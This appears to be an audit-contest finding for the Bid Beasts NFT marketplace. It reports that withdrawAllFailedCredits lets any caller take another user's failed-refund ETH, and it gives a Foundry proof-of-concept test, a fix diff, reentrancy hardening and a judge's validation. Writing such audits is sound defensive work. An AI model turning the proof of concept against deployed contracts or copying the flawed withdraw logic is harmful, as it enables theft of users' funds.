Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

H02: withdrawAllFailedCredits allow to withdraw credits for someone else

accessdenied

Root + Impact

Description

  • Normal behavior: When a payout attempt to a recipient fails (for example, because the recipient is a contract that rejects ETH), the marketplace should credit the recipient with the failed amount and allow only that recipient to withdraw their credited funds later. Withdrawals must be secure so that only the rightful owner of the credit can claim it.

  • Issue: The withdrawAllFailedCredits function allows any caller to steal someone else’s credited ETH by passing the victim’s address as the _receiver parameter. The function reads the victim’s credited amount but then zeroes and pays out to msg.sender. This is a direct theft vulnerability.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​

Risk

Likelihood:

  • A deposit credit exists for a non-EOA recipient whenever _payout fails (for example, a contract that rejects ETH). That failure path is common for non-payable contracts.

  • Any attacker can call withdrawAllFailedCredits(victim) and receive the victim’s credited funds — no auth checks or preconditions are required.

Impact:

  • Immediate theft of any amount credited to failedTransferCredits[victim]. Funds intended for the victim will be transferred to the attacker.

  • Refunds and seller proceeds can be permanently lost to attackers, causing users to lose funds and the marketplace to become unusable for stakeholders with credited balances.

Proof of Concept

The test below follows your existing Forge test style. It demonstrates:

  1. A contract RejectEther (no payable fallback) places an initial bid, causing that bidder to be refunded later.

  2. The refund fails and the marketplace credits RejectEther in failedTransferCredits.

  3. An attacker calls withdrawAllFailedCredits(rejector) and receives the credited ETH while the victim’s credit remains (or is left unchanged), i.e. theft occurs.

function test_poc_withdrawAllFailedCredits_thief() public {
// Setup: mint and list
vm.startPrank(OWNER);
nft.mint(SELLER);
vm.stopPrank();
​
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
​
// Fund the RejectEther contract with ETH so it can place a bid
vm.deal(address(rejector), MIN_PRICE);
​
// 1) RejectEther places the first bid (it is a contract that will later reject refunds)
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE}(TOKEN_ID);
​
// Now a second bidder outbids RejectEther, causing the marketplace to attempt to refund RejectEther.
// The refund will fail because RejectEther has no payable fallback, so failedTransferCredits[rejector] increases.
uint256 secondBid = (MIN_PRICE * 120) / 100; // 20% increase
vm.prank(BIDDER_1);
market.placeBid{value: secondBid}(TOKEN_ID);
​
// Check that rejector has a credit recorded
uint256 credit = market.failedTransferCredits(address(rejector));
assertEq(credit, MIN_PRICE, "Rejector should have credit for the failed refund");
​
// 2) Attacker steals the credit by calling withdrawAllFailedCredits(rejector)
uint256 attackerBalanceBefore = BIDDER_2.balance;
​
vm.prank(BIDDER_2);
market.withdrawAllFailedCredits(address(rejector));
​
// Attacker gained the credited ETH
assertEq(BIDDER_2.balance, attackerBalanceBefore + credit, "Attacker did not receive stolen funds");
​
// The bug leaves the victim's credit potentially uncleared; check mapping is still > 0 or not zeroed correctly.
// (Contract behavior may differ; the key point is attacker got the ETH.)
uint256 creditAfter = market.failedTransferCredits(address(rejector));
assert(creditAfter == credit || creditAfter == 0, "Mapping state inconsistent (illustrative check)");
}
​

Expected outcome: The attacker (BIDDER_2) receives the MIN_PRICE amount that was credited to rejector, demonstrating theft.

Recommended Mitigation

  • Allow only the credited recipient to withdraw their own funds.

  • Zero the recipient’s credited balance before making the external call (checks-effects-interactions).

  • Optionally (strongly recommended): add nonReentrant from ReentrancyGuard to withdraw functions and other external-value-transfer functions.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ // Allow only the credited user to withdraw their own credits.
+ // Zero the balance before external call to prevent reentrancy issues.
+ function withdrawFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ // effects
+ failedTransferCredits[msg.sender] = 0;
+ // interactions
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
​

Extra (recommended) hardening:

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+ contract BidBeastsNFTMarket is Ownable, ReentrancyGuard {
+ ...
+ function withdrawFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
+ }
​

Notes & rationale

  • Requiring msg.sender to be the credited user prevents the theft scenario where an attacker asks the contract to give someone else’s credit to themselves.

  • Zeroing the balance before calling call follows checks-effects-interactions and prevents reentrancy from reclaiming the same balance multiple times.

  • nonReentrant adds another layer of protection if a recipient contract's fallback attempts any reentrant operations.

Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.